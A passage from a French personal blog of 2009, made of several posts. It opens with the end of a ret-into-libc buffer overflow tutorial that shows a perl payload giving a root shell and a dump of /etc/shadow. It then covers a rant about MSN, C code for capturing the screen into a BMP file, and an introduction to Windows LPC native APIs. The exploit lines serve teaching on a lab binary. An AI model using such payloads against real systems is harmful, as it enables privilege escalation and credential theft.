Copie en cours...
root:!:14505:0:99999:7:::
daemon:*:14354:0:99999:7:::
bin:*:14354:0:99999:7:::
sys:*:14354:0:99999:7:::
sync:*:14354:0:99999:7:::
games:*:14354:0:99999:7:::
man:*:14354:0:99999:7:::
lp:*:14354:0:99999:7:::
mail:*:14354:0:99999:7:::
news:*:14354:0:99999:7:::
uucp:*:14354:0:99999:7:::
proxy:*:14354:0:99999:7:::
www-data:*:14354:0:99999:7:::
backup:*:14354:0:99999:7:::
list:*:14354:0:99999:7:::
irc:*:14354:0:99999:7:::
gnats:*:14354:0:99999:7:::
nobody:*:14354:0:99999:7:::
libuuid:!:14354:0:99999:7:::
syslog:*:14354:0:99999:7:::
[...]
sshd:*:14506:0:99999:7:::
geo@kleromy:~/bof/vuln1$

Le contenu de /etc/shadow s'affiche.


Et curiosité amusante... :


geo@kleromy:~/bof/vuln1$ whoami
geo
geo@kleromy:~/bof/vuln1$ export commande="cat /bin/sh"
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /bin/sh se situe a l'adresse 0xbffffe59 **,
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
# whoami
root
# exit

... C'est que, non seulement je suis obligé de mettre "cat" devant /bin/sh pour faire exécuter ma commande, mais encore : l'adresse trouvée par le programme est bonne. C'est un coup de chance, mais ça démontre bien que notre algorithme est foireux.


Mais en tout cas, l'exploitation du ret into libc a réussi.


Conclusion


Bien que nous ayons compris le principe de l'exploitation du ret into libc, vous venez de voir que l'article comporte certains points obscurs. Aussi, sachez que toute contribution par commentaire sera la bienvenue pour qui souhaite m'expliquer pourquoi commande=/bin/sh ne permet rien, ou pourquoi notre algorithme pour trouver l'adresse *exacte* de notre chaine est erroné.


Je tiens à citer les articles de Heurs et kmkz qui ont été clairs à eux deux et qui m'ont donc permis de tout comprendre.


Geo

vendredi 25 septembre 2009

Quelque chose me titille... Et, comme par hasard, Microsoft est dans le coup !

Le géant Microsoft commence à sérieusement me pomper l'air. Je vais manquer d'oxygène, si ça continue.

Entrons, sans plus tarder, dans le vif du sujet : suis-je le seul imbécile à avoir été forcé de passer à la nouvelle méga ultra giga super cool nouvelle version d'MSN 2009 ?

C'est grave, de forcer ses utilisateurs à faire ce genre de connerie. Ce foutu client de messagerie me bouffe pas mal de mémoire vive pour améliorer son esthétisme. Il y a vraiment mieux à faire...

Et puis, qui vous dit qu'ils ne sortiront pas une nouvelle version qui sera forcée d'être installée ? Et qui nous dit que nous serons aptes à rester sous Windows XP et que Microsoft ne se mettra pas à dire "Vous devez disposer d'un système d'exploitation plus récent pour pouvoir installer Windows Live Messenger 20xx." ? Ça me fiche la trouille, honnêtement.

Je vois déjà certains venir de loin : "passe à aMSN ou GAIM", me direz-vous. Je vous répondrai que je n'aie franchement pas envie de me prendre la tête pour des choses pareilles. Je reste à Windows XP et Ubuntu (en "dual boot").

Mais imaginez une seconde qu'on vous force à installer Windows Seven - par exemple - pour utiliser une nouvelle version d'MSN parce que vous devez l'installer et que votre version actuelle soit obsolète... Choisiriez-vous Seven, ou ne plus utiliser le client MSN de Microsoft ? Ca me fait peur, pour ma part.

Voilà, je vous ai dévoilé une petite chronique du moment. Peut-être inintéressante. Tant pis, hein !

Pour ceux qui veulent digérer du technique, je vais tout de même diffuser un petit code C que j'avais fait pour lister toutes les entrées de notre cache dns. Je m'étais amusé à faire de l'ingénierie inversée sur ipconfig.exe, et j'ai vu qu'il utilisait des fonctions exportées par dnsapi.dll. Cette bibliothèque contient des fonctions telles que DnsGetCacheDataTable() - celle que j'utilise - ou encore DnsFlushResolverCache() - celle qui est appelée quand on utilise l'option "/flushdns" d'ipconfig.

M'enfin, là n'est pas la question du post. C'était juste pour assurer un minimum de contenu intéressant si mon problème sur WLM en emmerde certains.

Ah, oui. Le code : http://venom630.free.fr/geo/autre_chose/cachedns.html.

En vous souhaitant un bon congé dominical.

Geo

dimanche 13 septembre 2009

Capturer son écran avec l'API Win32 dans un fichier bmp

Hoy !
C'est la rentrée depuis maintenant deux semaines, et je n'ai plus vraiment la motivation pour m'attaquer à des sujets intéressants et qui ont besoin de beaucoup de pré-requis (qu'Ivanlef0u me pardonne, car je n'oublie pas ma mission sur CsrCallServer...).

Ce matin, m'ennuyant, j'ai mis une heure à me documenter sur les API Win32 pour réaliser un petit programme qui va balayer l'écran pour y enregistrer chaque pixel - de façon ordonnée, hein - dans un fichier bitmap.

Déjà, il faut savoir que le format bitmap est propre à Microsoft, mais cela n'empêche pas qu'il soit documenté et simple à comprendre. J'avais, par ailleurs, rédigé un document un peu bidon sur ce que j'en savais : http://venom630.free.fr/geo/divers/doc_bmp.txt.

Si on se sert de ça comme support à la compréhension du format, on élabore notre structure C sans broncher :

typedef struct {
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;


Il existe peut-être une structure déjà existante fournie par microsoft, mais je ne voulais pas chercher sur le net sachant que je serais allé bien plus vite en faisant ma propre structure.

Pour les déroutés : DWORD et WORD correspondent respectivement à des tailles de données sur 4 et 2 octets. Les préfixes dw et w correspondent à "double word" et "word", pour rendre le nom des champs plus logiques.

A noter que je n'ai pas mis le champ "mot magique" dans la structure, car celui-ci fait 2 octets, et si on le rajoute, la structure ne sera plus alignée sur 4 octets. C'est plutôt gênant quand on veut écrire/lire une structure en un coup. De plus, la mot magique est toujours égal à 'BM', soit 0x4244.

Enfin, on passe à la partie la plus intéressante : les fonctions fournies par l'API Win32 pour faire joujou.

Tout d'abord, il faut récupérer la résolution de l'écran. C'est faisable via la fonction GetSystemMetrics() : http://msdn.microsoft.com/en-us/library/ms724385%28VS.85%29.aspx.

Ces fonctions retournent respectivement la longueur et la largeur de l'écran :
#include <windows.h>
GetSystemMetrics(SM_CXSCREEN);
GetSystemMetrics(SM_CYSCREEN);


Ensuite, on a besoin d'avoir un "handle" sur la totalité de la surface de l'écran. Pour cela, on utilise la fonction GetDC() ("Get Device Context") : http://msdn.microsoft.com/en-us/library/dd144871%28VS.85%29.aspx. Si l'argument de la fonction est égal à NULL, le handle retourné concerne la fenêtre entière. Si on fourni, par contre, un argument handle de type "HWND", on aura un "handle" sur une fenêtre.

Avec cet handle sur l'écran, on peut utiliser la fonction magique GetPixel() fournie par la bibliothèque GDI32. GetPixel() : http://msdn.microsoft.com/en-us/library/dd144909%28VS.85%29.aspx.

Cette fonction, comme vous pouvez le voir, utilise trois arguments :
- le premier est le handle de notre "device context" ;
- le second correspond à l'abscisse du pixel ;
- le troisième correspond à son ordonnée.

Avec cette fonction, on va donc pouvoir lire chaque pixel à l'écran. Effectivement, on fera une double boucle for pour balayer chaque ligne et récupérer chaque valeur de pixel. Par ailleurs, GetPixel() retourne la valeur "RVB" du pixel. Et dans un fichier bitmap, un pixel est écrit sur trois octets : le premier correspond au taux de bleu, le second au taux de vert et le dernier au taux de rouge.

On peut donc imaginer une structure tenant sur trois octets :
typedef struct {
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;


Enfin, pour ma part, j'ai enregistré les pixels "à la volée" dans le fichier, et j'ai utilisé la bibliothèque standard du C pour ouvrir mon bitmap et y déposer les pixels.

Pour résumer, voici le code que je suis parvenu à élaborer :
#include <windows.h>
#include <stdio.h>

size_t GetSizeFromDim(int x, int y);

typedef struct {
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;

typedef struct {
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;


int main(int argc, char **argv) {

BMPHDR Hdr;
Hdr.dwSize = GetSizeFromDim(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
Hdr.wRes1 = 0x0000;
Hdr.wRes2 = 0x0000;
Hdr.dwOffset = 0x00000036;
Hdr.dwHeaderSize = 0x00000028;
Hdr.dwWidth = (DWORD)GetSystemMetrics(SM_CXSCREEN);
Hdr.dwHeight = (DWORD)GetSystemMetrics(SM_CYSCREEN);
Hdr.wFoo = 0x0001;
Hdr.wBitsPerPixels = 0x0018;
Hdr.dwCompressed = 0;
Hdr.dwBytesPerPixels = 0x00000004;
Hdr.dwBitsPerMetterOnWidth = 0;
Hdr.dwBitsPerMetterOnHeigt = 0;
Hdr.dwNumberOfColors = 0;
Hdr.dwImportantColors = 0;

WORD Sign = 0x4d42;

// Fichier de sortie
FILE *fout = fopen("foo.bmp","wb");
fwrite(&Sign, sizeof(WORD), 1, fout);
fwrite(&Hdr, sizeof(BMPHDR), 1, fout);



// Récupération du handle de l'écran
HDC ecran = GetDC(NULL);

// Lecture des pixels et enregistrement !
COLORREF Color;
PIXEL Pixel;
int i, j, k;

char bourrage = 0;

for(j = Hdr.dwHeight - 1; j >= 0; j--) {

// Un bmp part du bas, donc on lira les pixels à partir du bas
for(i = 0; i < Hdr.dwWidth; i++) {
Color = GetPixel(ecran, i, j);
Pixel.bBlue = GetBValue(Color);
Pixel.bGreen = GetGValue(Color);
Pixel.bRed = GetRValue(Color);

// Ecriture du pixel
fwrite(&Pixel, sizeof(PIXEL), 1, fout);
}
// On bourre
for(k = 0; k < (i % 4); k++)
fwrite(&bourrage, sizeof(char), 1, fout);
}

fclose(fout);

return 0;
}

size_t GetSizeFromDim(int x, int y) {
return sizeof(BMPHDR) + ((x*3 + (x%4))*y);
}


Vous trouverez la source propre et colorée à cette adresse : http://venom630.free.fr/geo/tools/GetSystemMetric_c.html.

Conclusion


J'avoue avoir été pressé dans mes explications. Mais je me suis dit que ça pouvait en intéresser plus de savoir comment pouvait fonctionner la capture d'écran sous Windows. Après, j'ignore si le code marche sous Vista ou s'il est véritablement portable. Mais une fois que vous comprenez l'algorithme, vous pouvez aisément faire votre propre code valide.

J'oubliais de préciser : pendant la compilation, n'oubliez pas de lier la lib gdi, sinon le compilateur vous dira qu'il ne trouve aucune référence à GetPixel() lors de l'édition de lien.

A la revoyure !

Geo

samedi 29 août 2009

Introduction aux messages LPC (windows)

Salutations !
Pendant ces vacances, j'ai eu l'occasion de me pencher sur les messages LPC - Local Procedure Call. Ça a commencé quand je me suis remis en tête de comprendre le fonctionnement de la fonction printf(). Vous vous souvenez ?

J'ai donc recommencé ce parcours. Voici ce dont je suis sûr pour le moment : printf() fais appel à la fonction standard write(), qui elle va appeler WriteFile(). Cette dernière écrit dans le flux stdout. Et à ma grande surprise - pas seulement à la mienne, en tout cas - WriteFile ne va pas faire appel à NtWriteFile() (qui est une fonction native) mais à WriteConsole() - on reste toujours dans l'api win32) et cette fameuse WriteConsole() ne fais pas non plus appel à NtWriteFile... mais à ZwRequestWaitReplyPort().

Un nom qui fait peur, non ?

J'ai donc mené des recherches, et j'ai appris que cette fonction faisait partie d'un jeu de fonctions qui assurait la communication "souterraine" entre processus/threads.

La communication LPC peut permettre de communiquer de l'userland au kerneland, et assure une rapide transmission de données. Tout se situe au niveau du noyau, puisqu'on utilise des api natives (celles qui font mettre un "syscall" dans le registre eax avant d'appeler KiFastSystemCallRet et donc faire un "sysenter").

Cet article va donc parler des messages LPC.

Comment ça se passe ?


Pour communiquer, nous avons besoin d'un client et d'un serveur. Le serveur va créer un port accessible en local uniquement. Il ne faut pas confondre avec les sockets. Les ports doivent toujours avoir un nom de la forme \NomDuPort. L'anti-slash est important.

Après, pour ceux qui connaissent les sockets, c'est un peu le même schéma. On se met en écoute sur le port créé et on attend que ça se passe. J'ai pas vraiment creusé le tout, mais il me semble évident qu'il doive exister certains ports fournissant des services windows.

Les fonctions permettant d'implémenter les messages LPC sont exportées par la ténébreuse ntdll. J'ai trouvé les prototypes ici : http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Port/NtCreatePort.html.

Cependant, il s'avère que certains prototypes ne soient pas forcément exacts ; en effet, j'ai eu à utiliser des structures différentes au fur et à mesure que mes recherches devenaient fructueuses.

Côté serveur



Pour créer un port, on utilise NtCreatePort() :
NTSYSAPI
NTSTATUS
NTAPI
NtCreatePort(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectInfoLength,
IN ULONG MaxDataLength,
IN OUT PULONG Reserved OPTIONAL );


La fonction prend en argument un HANDLE qu'elle va initialiser. Ce handle va nous servir par la suite (logique). Pour le reste des arguments, ils sont à peu près compréhensibles, ben que l'argument ObjectAttributes me paraisse encore flou (je ne m'y suis pas penché, à vrai dire). Je ne connais pas encore la véritable fonction de la structure OBJECT_ATTRIBUTES. Ce n'est, à vrai dire, pas la seule qui me paraît floue. Mais ça ne m'a pas empêché d'émuler une communication client/serveur.

Bref, continuons : MaxDataLength est un argument qui correspond au maximum d'octets transférables sur le port. Pour le reste, on s'en tamponne le coquillage (pour le moment, hein !).

Après avoir créé notre port, il faut se mettre en écoute dessus via NtListenPort(). Cette fonction est bloquante et attend qu'une connexion se fasse de la part du client (nous verrons quelles fonctions il utilise).

Prototype de NtListenPort :
NTSYSAPI
NTSTATUS
NTAPI
NtListenPort(
IN HANDLE PortHandle,
OUT PLPC_MESSAGE ConnectionRequest );


Le handle attendu est celui qui a été traité, au préalable, par notre fonction NtCreatePort. Enfin, l'argument ConnectionRequest n'est pas une structure LPC_MESSAGE, mais plutôt une structure PORT_MESSAGE. Cet argument représente une en-tête de message LPC qui sera initialisée par le serveur.

La fonction bloque jusqu'à la connexion d'un client. Ensuite, lorsqu'un client demande à se connecter, il faut accepter la connexion via NtAcceptConnectPort().
Prototype :
NTSYSAPI
NTSTATUS
NTAPI

NtAcceptConnectPort(

OUT PHANDLE ServerPortHandle,
IN HANDLE AlternativeReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE ConnectionReply,
IN BOOLEAN AcceptConnection,
IN OUT PLPC_SECTION_OWNER_MEMORY ServerSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ClientSharedMemory OPTIONAL );


Le premier argument correspond au handle du serveur que va créer la fonction. Ce handle sera différent de celui créé par le port, bien entendu. Ceux qui sont marqués en OPTIONAL, on s'en moque pas mal pour l'instant. Ceux qui sont intéressants sont ConnectionReply et AcceptConnection.
L'argument ConnectionReply - qui est une structure PORT_MESSAGE au lieu de LPC_MESSAGE (je marquerai dès à présent "PPORT_MESSAGE", donc...) - correspond à la structure qu'on a envoyée à NtListenPort(), également en tant que PORT_MESSAGE. Quant au booléen AcceptConnection, il indique simplement et clairement si on doit accepter la connexion côté client ou non (mais j'avoue ne pas trop savoir pourquoi un tel argument ; je me suis mal renseigné, une fois de plus).

La connexion est acceptée. Il faut la "finaliser" via NtCompleteConnectPort. C'est comme si le serveur dit au client : "Ok, tout est en règle, on peut commencer à bosser ensemble".
Prototype :

NTSYSAPI
NTSTATUS
NTAPI

NtCompleteConnectPort(

IN HANDLE PortHandle );

La fonction attend, en argument, l'handle du serveur. Tout simplement.

Le serveur peut enfin attendre de recevoir des données. Il va recevoir, respectivement, les en-têtes du message, une commande assignée par le client et le corps du message.

Voici la structure d'un message transféré entre clients et serveurs LPC :
typedef struct _TRANSFERRED_MESSAGE
{
PORT_MESSAGE Header; // En-tête
WCHAR MessageText[48]; // Le message lui-même

} TRANSFERRED_MESSAGE, *PTRANSFERRED_MESSAGE;


Bien qu'on ne demande qu'en argument PORT_MESSAGE, les fonctions pourront tout de même écrire dans le champ MessageText puisqu'il suit. Inutile de préciser qu'ils respectent l'alignement des structures (taille alignée sur un multiple de 4).
J'ai trouvé cette structure dans un code relatif à un article que je mettrai en référence à la fin du blog.

Voici la structure PORT_MESSAGE :
typedef struct _PORT_MESSAGE
{
union
{
struct
{
USHORT DataLength; // Length of data following the header (bytes)
USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE)
} s1;
ULONG Length;
} u1;

union
{
struct
{
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;

union
{
CLIENT_ID ClientId;
double DoNotUseThisField; // Force quadword alignment
};

ULONG MessageId; // Identifier of the particular message instance

union
{
ULONG_PTR ClientViewSize; // Size of section created by the sender (in bytes)
ULONG CallbackId; //
};

} PORT_MESSAGE, *PPORT_MESSAGE;


On remarque que le champ DataLength va permettre aux fonctions de chercher les données après le header.

Voici la fonction native qui va permettre la réception des données sur le port : NtReplyWaitReceivePort() :
NTSYSAPI
NTSTATUS
NTAPI

NtReplyWaitReceivePort(

IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGE IncomingRequest );


Les arguments marqués en OPTIONAL, comme d'habitude, on s'en moque. On voit, une fois de plus, que la fonction attend le handle du serveur en argument premier. Le dernier argument correspondra au message LPC qu'elle aura récupéré en kerneland ; celui envoyé par le noyau.

Lorsque le serveur en a fini avec le client, il doit fermer le handle du serveur sans détruire le handle retourné par NtCreatePort. Pour cela, il a recourt à la fonction suivante : NtClose() :
NTSTATUS NtClose(
HANDLE Handle
);


La fonction attend simplement un handle à fermer. On soumettra le handle du serveur à fermer.

Côté Client



Un client, ça se connecte (sans déconner ?). On va utiliser la fonction NtConnectPort() pour se connecter. Son prototype est assez chargé, puisqu'il faut encore s'occuper des "security descriptor" et tout le bordel.
Prototype :
NTSYSAPI
NTSTATUS
NTAPI

NtConnectPort(

OUT PHANDLE ClientPortHandle,
IN PUNICODE_STRING ServerPortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PLPC_SECTION_OWNER_MEMORY ClientSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ServerSharedMemory OPTIONAL,
OUT PULONG MaximumMessageLength OPTIONAL,
IN ConnectionInfo OPTIONAL,
IN PULONG ConnectionInfoLength OPTIONAL );


On oublie les arguments optionnels. Le premier argument correspond au handle qui sera créé par la fonction. Le second argument correspond au nom du port auquel se connecter (doit être le même que celui créé par le serveur, logiquement). L'argument MaximumMessageLength correspond à la taille maximale que le serveur aura fixé. Pour le reste, j'évite de détailler, de peur de dire de la mouise.

Pour envoyer des données, le client utilisera NtRequestPort() :
NTSYSAPI
NTSTATUS
NTAPI

NtRequestPort(

IN HANDLE PortHandle,
IN PPORT_MESSAGE Request );


Pareil, on attend un handle et une en-tête LPC.

Remarquez, il peut aussi utiliser NtRequestWaitReplyPort() (comme printf, sauf qu'elle se sert de celle en Zw*) :

NTSYSAPI
NTSTATUS
NTAPI

NtRequestWaitReplyPort(

IN HANDLE PortHandle,
IN PLPC_MESSAGE Request,
OUT PLPC_MESSAGE IncomingReply );


L'argument supplémentaire contiendra la réponse du serveur.

On code



Pourquoi ne pas passer à la pratique, après un brin de théorie ? Certes, je ne vais pas vous apprendre à faire de "privilege escalation" (j'ai lu qu'on pouvait faire ça via les messages LPC). J'ai déjà assez bataillé pour faire marcher mes codes.

L'affichage du blog étant pourri, je me résignerai à mettre des urls pour que vous puissiez accéder aux sources. Tout est disponible ici.

Conclusion



Le domaine des messages LPC est très vaste ; un domaine que je ne maîtrise pas mais qui m'intéresse, ce pourquoi j'en parle.

Je remercie Ivanlef0u pour avoir usé de son temps afin de me sauver la mise ; sans lui, rien de tout cela ne fonctionnerait. Merci également à 0vercl0k (je le cite au moins une fois par article, c'est fou) pour m'avoir boosté.

Références :
- http://www.zezula.net/en/prog/lpc.html : communications LCP ;
- Local Procedure Call - Wikipédia

A très bientôt.

Geo